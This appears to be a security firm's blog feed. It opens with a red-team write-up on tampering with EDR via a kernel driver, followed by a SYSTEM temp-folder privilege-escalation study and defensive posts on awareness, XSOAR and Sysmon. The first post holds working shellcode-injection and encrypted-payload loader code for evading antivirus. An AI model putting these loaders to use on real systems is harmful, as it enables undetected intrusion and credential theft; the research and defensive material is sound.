Jonas is NVISO’s red team lead and thus involved in all red team exercises, either from a project management perspective (non-technical), for the execution of fieldwork (technical), or a combination of both. You can find Jonas on LinkedIn.

Kernel Karnage – Part 9 (Finishing Touches)

22 February 2022 at 13:03

It’s time for the season finale. In this post we explore several bypasses but also look at some mistakes made along the way.

1. From zero to hero: a quick recap

As promised in part 8, I spent some time converting the application to disable Driver Signature Enforcement (DSE) into a Beacon Object File (BOF) and adding in some extras, such as string obfuscation to hide very common string patterns like registry keys and constants from network inspection. I also changed some of the parameters to work with user input via CobaltWhispers instead of hardcoded values and replaced some notorious WIN32 API functions with their Windows Native API counterparts.

Once this was done, I started debugging the BOF and testing the full attack chain:

  • starting with the EarlyBird injector being executed as Administrator
  • disabling DSE using the BOF
  • deploying the Interceptor driver to cripple EDR/AV
  • running Mimikatz via Beacon.

The full attack is demonstrated below:

2. A BOF a day, keeps the doctor away

With my internship coming to an end, I decided to focus on Quality of Life updates for the InterceptorCLI as well as convert it into a Beacon Object File (BOF) in addition to the DisableDSE BOF, so that all the components may be executed in memory via Beacon.

The first big improvement is to rework the commands to be more intuitive and convenient. It’s now possible to provide multiple values to a command, making it much easier to patch multiple callbacks. Even if that’s too much manual labour, the -patch module command will take care of all callbacks associated with the provided drivers.

Next, I added support for vendor recognition and vendor based actions. The vendors and their associated driver modules are taken from SadProcessor’s Invoke-EDRCheck.ps1 and expanded by myself with modules I’ve come across during the internship. It’s now possible to automatically detect different EDR modules present on a target system and take action by automatically patching them using the -patch vendor command. An overview of all supported vendors can be obtained using the -list vendors command.

Finally, I converted the InterceptCLI client into a Beacon Object File (BOF), enhanced with direct syscalls and integrated in my CobaltWhispers framework.

3. Bigger fish to fry

With $vendor2 defeated, it’s also time to move on to more advanced testing. Thus far, I’ve only tested against consumer-grade Anti-Virus products and not enterprise EDR/AV platforms. I spent some time setting up and playing with $EDR-vendor1 and $EDR-vendor2.

To my surprise, once I had loaded the Interceptor driver, $EDR-vendor2 would detect a new driver has been loaded, most likely using ImageLoad callbacks, and refresh its own modules to restore protection and undo any potential tampering. Subsequently, any I/O requests to Interceptor are blocked by $EDR-vendor2 resulting in a "Access denied" message. The current version of InterceptorCLI makes use of various WIN32 API calls, including DeviceIoControl() to contact Interceptor. I suspect $EDR-vendor2 uses a minifilter to inspect and block I/O requests rather than relying on user land hooks, but I’ve yet to confirm this.

Contrary to $EDR-vendor2, I ran into issues getting $EDR-vendor1 to work properly with the $EDR-vendor1 platform and generate alerts, so I moved on to testing against $vendor3 and $EDR-vendor3. My main testing goal is the Interceptor driver itself and its ability to hinder the EDR/AV. The method of delivering and installing the driver is less relevant.

Initially, after patching all the callbacks associated with $vendor3, my EarlyBird-injector-spawned process would crash, resulting in no Beacon callback. The cause of the crash is klflt.sys, which I assume is $vendor3’s filesystem minifilter or at least part of it. I haven’t pinpointed the exact reason of the crash, but I suspect it is related to handle access rights.

When restoring klflt.sys callbacks, EarlyBird is executed and Beacon calls back successfully. However, after a notable delay, Beacon is detected and removed. Apart from detection upon execution, my EarlyBird injector is also flagged when scanned. I’ve used the same compiled version of my injector for several weeks against several different vendors, combined with other monitoring software like ProcessHacker2, it’s possible samples have been submitted and analyzed by different sandboxes.

In an attempt to get around klflt.sys, I decided to try a different injection approach and stick to my own process.

void main()
{
    const unsigned char shellcode[] = "";
	PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode);
	DWORD threadID;
	HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
	WaitForSingleObject(hThread, INFINITE);
}

These 6 lines of primitive shellcode injection were successful in bypassing klflt.sys and executing Beacon.

4. Rookie mistakes

When I started my tests against $EDR-vendor3, the first thing that happened wasn’t alarms and sirens going off, it was a good old bluescreen. During my kernel callbacks patching journey, I never considered the possibility of faulty offset calculations. The code responsible for calculating offsets just happily adds up the addresses with the located offset and returns the result without any verification. This had worked fine on my Windows 10 build 19042 test machine, but failed on the $EDR-vendor3 machine which is a Windows 10 build 18362.

for (ULONG64 instructionAddr = funcAddr; instructionAddr < funcAddr + 0xff; instructionAddr++) {
	if (*(PUCHAR)instructionAddr == OPCODE_LEA_R13_1[g_WindowsIndex] && 
		*(PUCHAR)(instructionAddr + 1) == OPCODE_LEA_R13_2[g_WindowsIndex] &&
		*(PUCHAR)(instructionAddr + 2) == OPCODE_LEA_R13_3[g_WindowsIndex]) {

		OffsetAddr = 0;
		memcpy(&OffsetAddr, (PUCHAR)(instructionAddr + 3), 4);
		return OffsetAddr + 7 + instructionAddr;
	}
}

If we look at the kernel base address 0xfffff807'81400000, we can expect the address of the kernel callback arrays to be in the same range as the first 8 most significant bits (0xfffff807).

However, comparing the debug output to the expected address, we can note that the return address (callback array address) 0xfffff808'81903ba0 differs from the expected return address 0xfffff807'81903ba0 by a value of 0x100000000 or compared to the kernel base address 0x100503ba0. The 8 most significant bits don’t match up.

The calculated offset we’re working with in this case is 0xffdab4f7. Following the original code, we add 0xffdab4f7 + 0x7 + 0xfffff80781b586a2 which yields the callback array address. This is where the issue resides. OffsetAddr is a ULONG64, in other words "unsigned long long" which comes down to 0x00000000'00000000 when initialized to 0; When the memcpy() instruction copies over the offset address bytes, the result becomes 0x00000000'ffdab4f7. To quickly solve this problem, I changed OffsetAddr to a LONG and added a function to verify the address calculation against the kernel base address.

ULONG64 VerifyOffsets(LONG OffsetAddr, ULONG64 InstructionAddr) {
	ULONG64 ReturnAddr = OffsetAddr + 7 + InstructionAddr;
	ULONG64 KernelBaseAddr = GetKernelBaseAddress();
	if (KernelBaseAddr != 0) {
		if (ReturnAddr - KernelBaseAddr > 0x1000000) {
			KdPrint((DRIVER_PREFIX "Mismatch between kernel base address and expected return address: %llx\n", ReturnAddr - KernelBaseAddr));
			return 0;
		}
		return ReturnAddr;
	}
	else {
		KdPrint((DRIVER_PREFIX "Unable to get kernel base address\n"));
		return 0;
	}
}

5. Final round

As expected, $EDR-vendor3 is a big step up from the regular consumer grade anti-virus products I’ve tested against thus far and the loader I’ve been using during this series doesn’t cut it anymore. Right around the time I started my tests I came across a tweet from @an0n_r0 discussing a semi-successful $EDR-vendor3 bypass, so I used this as base for my new stage 0 loader.

The loader is based on the simple remote code injection pattern using the VirtualAllocEx, WriteProcessMemory, VirtualProtectEx and CreateRemoteThread WIN32 APIs.

void* exec = fpVirtualAllocEx(hProcess, NULL, blenu, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

fpWriteProcessMemory(hProcess, exec, bufarr, blenu, NULL);

DWORD oldProtect;
fpVirtualProtectEx(hProcess, exec, blenu, PAGE_EXECUTE_READ, &oldProtect);

fpCreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)exec, exec, 0, NULL);

I also incorporated dynamic function imports using hashed function names and CIG to protect the spawned suspended process against injection of non-Microsoft-signed binaries.

HANDLE SpawnProc() {
    STARTUPINFOEXA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    SIZE_T attributeSize;

    InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);

    DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(DWORD64), NULL, NULL);

    si.StartupInfo.cb = sizeof(si);
    si.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT;

    if (!CreateProcessA(NULL, (LPSTR)"C:\\Windows\\System32\\svchost.exe", NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) {
        std::cout << "Could not spawn process" << std::endl;
        DeleteProcThreadAttributeList(si.lpAttributeList);
        return INVALID_HANDLE_VALUE;
    }

    DeleteProcThreadAttributeList(si.lpAttributeList);
    return pi.hProcess;
}

The Beacon payload is stored as an AES256 encrypted PE resource and decrypted in memory before being injected into the remote process.

HRSRC rc = FindResource(NULL, MAKEINTRESOURCE(IDR_PAYLOAD_BIN1), L"PAYLOAD_BIN");
DWORD rcSize = fpSizeofResource(NULL, rc);
HGLOBAL rcData = fpLoadResource(NULL, rc);

char* key = (char*)"16-byte-key-here";
const uint8_t iv[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f };

int blenu = rcSize;
int klen = strlen(key);

int klenu = klen;
if (klen % 16)
    klenu += 16 - (klen % 16);

uint8_t* keyarr = new uint8_t[klenu];
ZeroMemory(keyarr, klenu);
memcpy(keyarr, key, klen);

uint8_t* bufarr = new uint8_t[blenu];
ZeroMemory(bufarr, blenu);
memcpy(bufarr, rcData, blenu);

pkcs7_padding_pad_buffer(keyarr, klen, klenu, 16);

AES_ctx ctx;
AES_init_ctx_iv(&ctx, keyarr, iv);
AES_CBC_decrypt_buffer(&ctx, bufarr, blenu);

Last but not least, I incorporated the Sleep_Mask directive in my Cobalt Strike Malleable C2 profile. This tells Cobalt Strike to obfuscate Beacon in memory before it goes to sleep by means of an XOR encryption routine.

The loader was able to execute Beacon undetected and with the help of my kernel driver running Mimikatz was but a click of the button.

On that bombshell, it’s time to end this internship and I think I can conclude that while having a kernel driver to tamper with EDR/AV is certainly useful, a majority of the detection mechanisms are still present in user land or are driven by signatures and rules for static detection.

6. Conclusion

During this Kernel Karnage series, I developed a kernel driver from scratch, accompanied by several different loaders, with the goal to effectively tamper with EDR/AV solutions to allow execution of common known tools which would otherwise be detected immediately. While there certainly are several factors limiting the deployment and application of a kernel driver (such as DSE, HVCI, Secure Boot), it turns out to be quite powerful in combination with user land evasion techniques and manages to address the AI/ML component of EDR/AV which would otherwise require a great deal of obfuscation and anti-sandboxing.

About the author

Sander is a junior consultant and part of NVISO’s red team. He has a passion for malware development and enjoys any low-level programming or stumbling through a debugger. When Sander is not lost in 1s and 0s, you can find him traveling around Europe and Asia. You can reach Sander on LinkedIn or Twitter.

CVE Farming through Software Center – A group effort to flush out zero-day privilege escalations

31 May 2022 at 08:19

Intro

In this blog post we discuss a zero-day topic for finding privilege escalation vulnerabilities discovered by Ahmad Mahfouz. It abuses applications like Software Center, which are typically used in large-scale environments for automated software deployment performed on demand by regular (i.e. unprivileged) users.

Since the topic resulted in a possible attack surface across many different applications, we organized a team event titled “CVE farming” shortly before Christmas 2021.

Attack Surface, 0-day, … What are we talking about exactly?

NVISO contributors from different teams (both red and blue!) and Ahmad gathered together on a cold winter evening to find new CVEs.

Targets? More than one hundred installation files that you could normally find in the software center of enterprises.
Goal? Find out whether they could be used for privilege escalation.

The original vulnerability (patient zero) resulting in the attack surface discovery was identified by Ahmad and goes as follows:

Companies correctly don’t give administrative privileges to all users (according to the least privilege principle). However, they also want the users to be able to install applications based on their business needs. How  is this solved? Software Center portals using SCCM (System Center Configuration Manager, now part of Microsoft Endpoint Manager) come to the rescue. Using these portals enables users to install applications without giving them administrative privileges.

However, there is an issue. More often than not these portals run the installation program with SYSTEM privileges, which in their turn use a temporary folder for reading or writing resources used during installation. There is a special characteristic for the TMP environment variable of SYSTEM. And that is – it is writable for a regular user.

Consider the following example:

By running the previous command, we just successfully wrote to a file located in the TEMP directory of SYSTEM.

Even if we can’t read the file anymore on some systems, be assured that the file was successfully  written:

To check that SYSTEM really has TMP pointing to C:\Windows\TEMP, you could run the following commands (as administrator):

PsExec64.exe /s /i cmd.exe

echo %TMP%

The /s option of PsExec tells the program to run the process in the SYSTEM context. Now if you would try to write to a file of an Administrator account’s TMP directory, it would not work since your access is denied. So if the installation runs under Administrator and not SYSTEM, it is not vulnerable to this attack.

How can this be abused?

Consider a situation where the installation program, executed under a SYSTEM context:

  • Loads a dll from TMP
  • Executes an exe file from TMP
  • Executes an msi file from TMP
  • Creates a service from a sys file in TMP

This provides some interesting opportunities! For example, the installation program can search in TMP for a dll file. If the file is present, it will load it. In that case the exploitation is simple; we just need to craft our custom dll, rename it, and place it where it is being looked for. Once the installation runs we get code execution as SYSTEM.

Let’s take another example. This time the installation creates an exe file in TMP and executes it. In this case it can still be exploitable but we have to abuse a race condition. What we need to do is craft our own exe file and continuously overwrite the target exe file in TMP with our own exe. Then we start the installation and hope that our own exe file will be executed instead of the one from the installation. We can introduce a small delay, for example 50 milliseconds, between the writes hoping the installation will drop its exe file, which gets replaced by ours and executed by the installation within that small delay. Note that this kind of exploitation might take more patience and might need to restart the installation process multiple times to succeed. The video below shows an example of such a race condition:

However, even in case of execution under a SYSTEM context, applications can take precautions against abuse. Many of them read/write their sources to/from a randomized subdirectory in TMP, making it nearly impossible to exploit. We did notice that in some cases the directory appears random, but in fact remains constant in between installations, also allowing for abuse. 

So, what was the end result?

Out of 95 tested installers, 13 were vulnerable, 7 need to be further investigated and 75 were not found to be vulnerable. Not a bad result, considering that those are 13 easy to use zero-day privilege escalation vulnerabilities 😉. We reported them to the respective developers but were met with limited enthousiasm. Also, Ahmad and NVISO reported the attack surface vulnerability to Microsoft, and there is no fix for file system permission design. The recommendation is for the installer to follow the defense in depth principle, which puts responsibility with the developers packages their software.

If you’re interested in identifying this issue on systems you have permission on, you can use the helper programs we will soon release in an accompanying Github repository.

Stay tuned!

Defense & Mitigation

Since the Software Center is working as designed, what are some ways to defend against this?

  • Set AppEnforce user context if possible
  • Developers should consider absolute paths while using custom actions or make use of randomized folder paths
  • As a possible IoC for hunting: Identify DLL writes to c:\windows\temp

References

https://docs.microsoft.com/en-us/windows/win32/msi/windows-installer-portal
https://docs.microsoft.com/en-us/windows/win32/msi/installation-context
https://docs.microsoft.com/en-us/windows/win32/services/localsystem-account
https://docs.microsoft.com/en-us/mem/configmgr/comanage/overview
https://docs.microsoft.com/en-us/mem/configmgr/apps/deploy-use/packages-and-programs
https://docs.microsoft.com/en-us/mem/configmgr/apps/deploy-use/create-deploy-scripts
https://docs.microsoft.com/en-us/windows/win32/msi/custom-actions
https://docs.microsoft.com/en-us/mem/configmgr/core/understand/software-center
https://docs.microsoft.com/en-us/mem/configmgr/core/clients/deploy/deploy-clients-cmg-azure
https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security

About the authors

Ahmad, who discovered this attack surface, is a cyber security researcher mainly focus in attack surface reduction and detection engineering. Prior to that he did software development and system administration and holds multiple certificates in advanced penetration testing and system engineering. You can find Ahmad on LinkedIn.

Oliver, the main author of this post, is a cyber security expert at NVISO. He has almost a decade and a half of IT experience which half of it is in cyber security. Throughout his career he has obtained many useful skills and also certificates. He’s constantly exploring and looking for more knowledge. You can find Oliver on LinkedIn.

Jonas Bauters is a manager within NVISO, mainly providing cyber resiliency services with a focus on target-driven testing. As the Belgian ARES (Adversarial Risk Emulation & Simulation) solution lead, his responsibilities include both technical and non-technical tasks. While occasionally still performing pass the hash (T1550.002) and pass the ticket (T1550.003), he also greatly enjoys passing the knowledge. You can find Jonas on LinkedIn.


Why a successful Cyber Security Awareness month starts … now!

17 June 2022 at 08:00

Have you noticed that it’s June, already?! Crazy how fast time flies by when busy. But Q2 of 2022 is almost ready to be closed, so why not have a peak at what the second half of the year has in store for us? Summer holidays you say? Sandy beaches and happy hour cocktails? Or cool mountain air and challenging MBT tracks? Messily written out-of-office messages, kindly asking to park that question till early September?

Yes. It’s all that. But there is more. For us, it’s October that is highlighted.
October is Cyber Security Awareness Month, the peak season for Security Awareness professionals (and enthusiasts 😉). In Europe, the European Cybersecurity Month (ECSM) has taken place every year since 2013 and has been incorporated in the implementing actions of the Cybersecurity Act (CSA). The focus on making it a yearly recurring event is strong and in today’s world we might need this initiative to spotlight security awareness more than ever.

But October is still 3 months away…

3 reasons why a successful Cyber Security Awareness Month starts NOW!

1. Take your time to get inspired

Cyber Security is a specific yet very broad domain. There are endless topics to cover, levels of complexity, target audiences… Needless to say pinpointing your focus for Cyber Month won’t be easy. Depending on available time and budget it may be difficult to pick the best approach. That is why it is important to take your time to get inspired. How? Here some ideas.

  • Take a step back and review what you cover already in the previous quarter. Which topics went down extremely well with your target audience? Which ones didn’t and why?
  • What topics people are already familiar with? It might be a good idea to remind your team of what they already know instead of overwhelming them with only new content;
  • Do not let a good incident go to waste!
    • Make sure to involve the technical teams managing security and dig  for input on “real” incidents. Showing people what happened or might happen makes security more tangible;
    • Use security awareness topics that are trending in the local media as a coat rack for the message you want to bring across;
  • Check what other organizations are talking about this year. Is it relevant for you? No need to reinvent the wheel 😉
  • Keep it simple. Focus on 1 topic and make it really stick.

2. Organizing impactful activities takes time!

Once you have a clear view on the topic to cover and the message you want to bring across, it’s important to consider how you want to do that. And let’s be honest, if you really want to make an impact during Cyber Month, sending a boring email that is all work and no play isn’t going to cut it. There is no magic formula but there are a few things that you could consider:

  • Triggers and motivation: typically cybersecurity awareness month allows us to be more playful than the rest of the year. Why not using different triggers too?
  • Get emotions running: testimonials are among the most relatable tool you can use. Careful with the balance between “scary” and “empowering” stories!
  • Talk to the informed ones: propose an in-depth approach. extra-professional resources, panel discussions, external speakers…
  • Roll up sleeves: Most of us learn by doing. That is why games, experience workshops and 1to1 demos work well.

Make sure you have a good motivation to attract your people.

  • Contests with a final gift are a classic, but you only need to attend a professional fair to see those still work. 
  • Goodies? Require budget. Physical items may draw negative attention by being perceived as wasteful.  Are we against them? No, but choose carefully.
  • Make sure you have a good “how this will improve your life” story. Remember that protecting your family and friends is a better motivator than protecting your company (ok, it is not so much of a secret)

You can read in our blog how we applied all this last year or reach out for a demo.


3. Get your stakeholders on board early

Cyber Month is not a one man/girl/team show. No matter how inspiring your activities, if you are running it alone it will be very difficult to bring your message across. That’s why it is crucial to start promoting Cyber Month early towards all stakeholders. Often even before you have anything planned. Getting all off your ducks in a row before summer will give you peace of mind when organizing and planning later on.

Here’s a few stakeholders to consider and why*:

  • Top Management: money and support!
  • Communications: to make sure you reserve a spot for cyber month on all communication channels (weekly newsletters, intranet, emails, cctv, social media, …);
  • Technical teams: back to the “inspiration” argument. And of course to validate content.
  • HR: to help you define and identify target audiences and DOs / DON’Ts in the organization.

*Depending on the size of organisation there might be more or less stakeholders to consider.

“Opps!  I wish I had read this 2 months ago”

Are you reading this by the 20th September? 0 € on your budget?
Don’t panic. Even with time and money constraints, there is good, generic content freely available on the internet covering at least the top 10 of most current threats. It’s usually even tweakable to make it look and feel branded for your own organisation.

ENISA, the European Union Agency for Cyber Security, coordinates the organisation of the European Cybersecurity Month (ECSM) and act as “hub” for all participating Member States and EU Institutions. The Agency also publishes new materials on yearly basis.

A great resource in Belgium is Safeonweb, an initiative of the Centre for Cyber Security Belgium that also launches a new campaign every year.

If nothing else, these will provide a good starting point. And next year, make sure you start early on!

About the authors

Hannelore Goffin is an experienced consultant within the Cyber Strategy team at NVISO where she is passionate about raising awareness on all cyber related topics, both for the professional and personal context. 

Mercedes M Diaz leads NVISO Cyberculture practice. She supports businesses trying to reduce their risks by helping teams understanding their role in protecting the company.

Cortex XSOAR Tips & Tricks – Creating indicator relationships in automations

23 June 2022 at 08:00

Introduction

In Cortex XSOAR, indicators are a key part of the platform as they visualize the Indicators Of Compromise (IOC) of a security alert in the incident to the SOC analyst and can be used in automated analysis workflows to determine the incident outcome. If you have a Cortex XSOAR Threat Intelligence Management (TIM) license, it is possible to create predefined relationships between indicators to describe how they relate to each other. This enables the SOC analyst to do a more efficient incident analysis based on the indicators associated to the incident.

In this blog post, we will provide some insights into the features of Cortex XSOAR Threat Intelligence Management and how to create indicator relationships in an automation.

Threat Intelligence Management

Threat Intelligence Management (TIM) is a new feature in Cortex XSOAR which requires an additional license on top of your Cortex XSOAR user licenses. It is created to improve the use of threat intel in your SOC. Using TIM, you can automate threat intel management by ingesting and processing indicators sources to export the enriched intelligence data to the SIEMs, firewalls, and other security platforms.

Cortex XSOAR TIM is a Threat Intelligence Platform with highly actionable Threat data from Unit 42 and not only identify and discover new malware families or campaigns but ability to create and disseminate strategic intelligence reports.

https://www.paloaltonetworks.com/cortex/threat-intel-management

When the TIM license is imported into your Cortex XSOAR environment, all built-in indicator types will have a new Unit 42 Intel tab available:

Unit 42 Intel

This tab contains the threat intelligence data for the specific indicator gathered by Palo Alto and makes it directly available to your SOC analysts.

For Cortex XSOAR File indicators, the Wildfire analysis (the cloud-base threat analysis service of Palo Alto) is available in the indicator layout providing your SOC analysts a detailed analysis of malicious binaries if its file hash is known:

Wildfire Analysis

The TIM license also adds the capability to Cortex XSOAR to create relationships between indicators.

If you for example have the following indicators in Cortex XSOAR:

  • Host: ict135456.domain.local
  • MAC: 38-DA-09-8D-57-B1
  • Account: u4872
  • IP: 10.15.62.78
  • IP: 78.132.17.56

Without a TIM license, these indicators would be visible in the indicators section in the incident layout without any context about how they relate to each other:

By creating relationships between these indicators, a SOC analyst can quickly see how these indicators have interacted with each other during the detected incident:

Indicator Relationships

EntityRelationship Class

To create indicator relationships, the EntityRelationship class is available in the CommonServerPython automation.

CommonServerPython is an automation created by Palo Alto which contains Python code that can be used by other automations. Similar to CommonServerUserPython, CommonServerPython is added to all automations making the code available for you to use in your own custom automation.

In the Relationships subclass of EntityRelationship, you can find all the possible relationships that can be created and how they relate to each other.

RELATIONSHIPS_NAMES = {'applied': 'applied-on',
                       'attachment-of': 'attaches',
                       'attaches': 'attachment-of',
                       'attribute-of': 'owns',
                       'attributed-by': 'attributed-to',
                       'attributed-to': 'attributed-by',
                       'authored-by': 'author-of',
                       'beacons-to': 'communicated-by',
                       'bundled-in': 'bundles',
                       'bundles': 'bundled-in',
                       'communicated-with': 'communicated-by',
                       'communicated-by': 'communicates-with',
                       'communicates-with': 'communicated-by',
                       'compromises': 'compromised-by',
                       'contains': 'part-of',
                       .......

You can define a relationship between indicators by creating an instance of the EntityRelationship class:

indicator_relationship = EntityRelationship(
    name=EntityRelationship.Relationships.USES,
    entity_a="u4872",
    entity_a_type="Account",
    entity_b="ict135456.domain.local",
    entity_b_type="Host"
)

In the name attribute, you add which relationship you want to create. Best to use the Relationships Enum subclass in case the string values of the relationship names change in a future release.

In the entity_a attribute, add the value of the source indicator.

In the entity_a_type attribute, add the type of the source indicator.

In the entity_b attribute, add the value of the destination indicator.

In the entity_b_type attribute, add the type of the destination indicator.

When initializing the EntityRelationship class, it will validate all the required attributes to see if all information is present to create the relationship. If not, a ValueError exception will be raised.

Create Indicator Relationships

Now we know which class to use, let’s create the indicator relationships in Cortex XSOAR.

For each relationship we want to create, an instance of the EntityRelationship which describes the relationship between the indicators should be added to a list :

indicator_relationships = []

indicator_relationships.append(
    EntityRelationship(
        name=EntityRelationship.Relationships.USES,
        entity_a="u4872",
        entity_a_type="Account",
        entity_b="ict135456.domain.local",
        entity_b_type="Host"
    )
)

indicator_relationships.append(
    EntityRelationship(
        name=EntityRelationship.Relationships.BEACONS_TO,
        entity_a="78.132.17.56",
        entity_a_type="IP",
        entity_b="ict135456.domain.local",
        entity_b_type="Host"
    )
)

indicator_relationships.append(
    EntityRelationship(
        name=EntityRelationship.Relationships.ATTRIBUTED_BY,
        entity_a="38-DA-09-8D-57-B1",
        entity_a_type="MAC",
        entity_b="ict135456.domain.local",
        entity_b_type="Host"
    )
)

indicator_relationships.append(
    EntityRelationship(
        name=EntityRelationship.Relationships.USES,
        entity_a="10.15.62.78",
        entity_a_type="IP",
        entity_b="ict135456.domain.local",
        entity_b_type="Host"
    )
)

To create the relationships in Cortex XSOAR, the list of EntityRelationship instances needs to be returned in an instance of the CommandResults class using the return_results function:

return_results(
    CommandResults(
        relationships=indicator_relationships
    )
)

If you now open the relationship view of the Host indicator in Cortex XSOAR, you will see that the relationships have been created:

Indicator Relationships

References

https://docs.paloaltonetworks.com/cortex/cortex-xsoar/6-8/cortex-xsoar-threat-intel-management-guide

https://xsoar.pan.dev/docs/reference/api/common-server-python#entityrelationship

https://xsoar.pan.dev/docs/reference/api/common-server-python#relationshipstypes

https://xsoar.pan.dev/docs/reference/api/common-server-python#relationships

https://xsoar.pan.dev/docs/reference/api/common-server-python#commandresults

About the author

Wouter is an expert in the SOAR engineering team in the NVISO SOC. As the SOAR engineering team lead, he is responsible for the development and deployment of automated workflows in Palo Alto Cortex XSOAR which enable the NVISO SOC analysts to faster detect attackers in customers environments. With his experience in cloud and devops, he has enabled the SOAR engineering team to automate the development lifecycle and increase operational stability of the SOAR platform.

You can contact Wouter via his LinkedIn page.


Want to learn more about SOAR? Sign- up here and we will inform you about new content and invite you to our SOAR For Fun and Profit webcast.
https://forms.office.com/r/dpuep3PL5W

Enforcing a Sysmon Archive Quota

30 June 2022 at 12:19

Sysmon (System Monitor) is a well-known and widely used Windows logging utility providing valuable visibility into core OS (operating system) events. From a defender’s perspective, the presence of Sysmon in an environment greatly enhances detection and forensic capabilities by logging events involving processes, files, registry, network connections and more.

Since Sysmon 11 (released April 2020), the FileDelete event provides the capability to retain (archive) deleted files, a feature we especially adore during active compromises when actors drop-use-delete tools. However, as duly noted in Sysmon’s documentation, the usage of the archiving feature might grow the archive directory to unreasonable sizes (hundreds of GB); something most environments cannot afford.

This blog post will cover how, through a Windows-native feature (WMI event consumption), the Sysmon archive can be kept at a reasonable size. In a hurry? Go straight to the proof of concept!

Figure 1: A Sysmon archive quota removing old files.

The Challenge of Sysmon File Archiving

Typical Sysmon deployments require repeated fine-tuning to ensure optimized performance. When responding to hands-on-keyboard attackers, this time-consuming process is commonly replaced by relying on robust base-lined configurations (some of which open-source such as SwiftOnSecurity/sysmon-config or olafhartong/sysmon-modular). While most misconfigured events have at worst an impact on CPU and log storage, the Sysmon file archiving can grind a system to a halt by exhausting all available storage. So how could one still perform file archiving without risking an outage?

While searching for a solution, we defined some acceptance requirements. Ideally, the solution should…

  • Be Windows-native. We weren’t looking for yet another agent/driver which consumes resources, may cause compatibility issues and increase the attack surface.
  • Be FIFO-like (First In, First Out) to ensure the oldest archived files are deleted first. This ensures attacker tools are kept in the archive just long enough for our incident responders to grab them.
  • Have a minimal system performance impact if we want file archiving to be usable in production.

A common proposed solution would be to rely on a scheduled task to perform some clean-up activities. While being Windows-native, this execution method is “dumb” (schedule-based) and would execute even without files being archived.

So how about WMI event consumption?

WMI Event Consumption

WMI (Windows Management Instrumentation) is a Windows-native component providing capabilities surrounding the OS’ management data and operations. You can for example use it to read and write configuration settings related to Windows, or monitor operations such as process and file creations.

Within the WMI architecture lays the permanent event consumer.

You may want to write an application that can react to events at any time. For example, an administrator may want to receive an email message when specific performance measures decline on network servers. In this case, your application should run at all times. However, running an application continuously is not an efficient use of system resources. Instead, WMI allows you to create a permanent event consumer. […]

A permanent event consumer receives events until its registration is explicitly canceled.

docs.microsoft.com

Leveraging a permanent event consumer to monitor for file events within the Sysmon archive folder would provide optimized event-based execution as opposed to the scheduled task approach.

In the following sections we will start by creating a WMI event filter intended to select events of interest; after which we will cover the WMI logical consumer whose role will be to clean up the Sysmon archive.

WMI Event Filter

A WMI event filter is an __EventFilter instance containing a WQL (WMI Query Language, SQL for WMI) statement whose role is to filter event tables for the desired events. In our case, we want to be notified when files are being created in the Sysmon archive folder.

Whenever files are created, a CIM_DataFile intrinsic event is fired within the __InstanceCreationEvent class. The following WQL statement would filter for such events within the default C:\Sysmon\ archive folder:

SELECT * FROM __InstanceCreationEvent
WHERE TargetInstance ISA 'CIM_DataFile'
	AND TargetInstance.Drive='C:'
	AND TargetInstance.Path='\\Sysmon\\'

Intrinsic events are polled at specific intervals. As we wish to ensure the polling period is not too long, a WITHIN clause can be used to define the maximum amount of seconds that can pass before the notification of the event must be delivered.

The beneath query requires matching event notifications to be delivered within 10 seconds.

SELECT * FROM __InstanceCreationEvent
WITHIN 10
WHERE TargetInstance ISA 'CIM_DataFile'
	AND TargetInstance.Drive='C:'
	AND TargetInstance.Path='\\Sysmon\\' 

While the above WQL statement is functional, it is not yet optimized. As an example, if Sysmon came to archive 1000 files, the event notification would fire 1000 times, later resulting in our clean-up logic to be executed 1000 times as well.

To cope with this property, a GROUP clause can be used to combine events into a single notification. Furthermore, to ensure the grouping occurs within timely manner, another WITHIN clause can be leveraged. The following WQL statement waits for up to 10 seconds to deliver a single notification should any files have been created in Sysmon’s archive folder.

SELECT * FROM __InstanceCreationEvent
WITHIN 10
WHERE TargetInstance ISA 'CIM_DataFile'
	AND TargetInstance.Drive='C:'
	AND TargetInstance.Path='\\Sysmon\\' 
GROUP WITHIN 10

To create a WMI event filter we can rely on PowerShell’s New-CimInstance cmdlet as shown in the following snippet.

$Archive = "C:\\Sysmon\\"
$Delay = 10
$Filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property @{
    Name = 'SysmonArchiveWatcher';
    EventNameSpace = 'root\cimv2';
    QueryLanguage = "WQL";
    Query = "SELECT * FROM __InstanceCreationEvent WITHIN $Delay WHERE TargetInstance ISA 'CIM_DataFile' AND TargetInstance.Drive='$(Split-Path -Path $Archive -Qualifier)' AND TargetInstance.Path='$(Split-Path -Path $Archive -NoQualifier)' GROUP WITHIN $Delay"
}

WMI Logical Consumer

The WMI logical consumer will consume WMI events and undertake actions for each occurrence. Multiple logical consumer classes exist providing different behaviors whenever events are received, such as:

The last CommandLineEventConsumer class is particularly interesting as it would allow us to run a PowerShell script whenever files are archived by Sysmon (a feature attackers do enjoy as well).

The first step on our PowerShell code would be to obtain a full list of archived files ordered from oldest to most recent. This list will play two roles:

  1. It will be used to compute the current directory size.
